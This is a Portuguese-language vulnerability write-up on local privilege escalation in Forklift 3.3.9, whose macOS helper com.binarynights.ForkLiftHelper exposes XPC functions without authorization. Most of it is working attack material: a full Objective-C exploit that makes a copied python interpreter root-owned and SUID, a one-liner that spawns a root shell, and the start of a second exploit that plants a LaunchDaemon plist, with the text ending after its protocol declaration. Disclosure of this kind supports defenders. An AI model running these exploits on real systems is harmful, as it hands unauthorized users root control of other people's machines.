Escalação de Privilégio Local no Forklift 3.3.9

Ao instalar o Forklift, um novo helper chamado com.binarynights.ForkLiftHelper para Mac OS X é instalado automaticamente no diretório /Library/PrivilegedHelperTools/. A análise desse helper, que trata mensagens XPC, resultou em diferentes formas de escalar privilégios de usuário para root no Mac OS X.

Ao aceitar chamadas XPC, a função HelperTool listener:shouldAcceptNewConnection, respectivamente (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection, é usada por padrão. Essa função é utilizada para executar as etapas iniciais do estabelecimento de uma conexão XPC. Normalmente, essa função realiza a autorização do chamador — no entanto, a função do com.binarynights.ForkLiftHelper não implementa nenhuma verificação de autorização. Dessa forma, é possível chamar qualquer função exposta via XPC sem autorização.

As seguintes funções são expostas ao chamador via XPC:

@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

Exploração via Setuid

O primeiro método para explorar este helper é o seguinte:

Passo 1: chown no interpretador alvo

Copie, por exemplo, o interpretador python para um diretório controlado pelo usuário e chame a função XPC changeOwner com o parâmetro @"<path>" owner:0 group:0. Isso alterará a propriedade do interpretador python para root.

Passo 2: Definir a flag SUID

Em segundo lugar, é possível definir o bit SUID no interpretador enviando uma requisição XPC para a função changePermissions com o seguinte parâmetro @"<path>" permissions:2541. As permissões 2541 representam em octal o número 4755, que define a flag SUID no binário.

Passo 3: LPE

O seguinte comando abrirá um shell como root:

$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

Exploit Completo

Certifique-se de primeiro copiar um interpretador python para /tmp com o nome python_copied. O exploit a seguir demonstra esta LPE:

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

Exploração via LaunchAgent

O segundo método para explorar este helper é o seguinte:

Escrevendo um novo Launch Agent

Devido à chamada XPC moveItem, é possível mover qualquer item como root. Dessa forma, é possível escrever um arquivo plist no diretório /tmp e depois copiá-lo para o diretório /Library/LaunchDaemons/. Os seguintes parâmetros são usados para a função moveItem: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"

Exploit Completo

O código a seguir adicionará automaticamente um novo launch agent que é acionado em uma reinicialização:

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end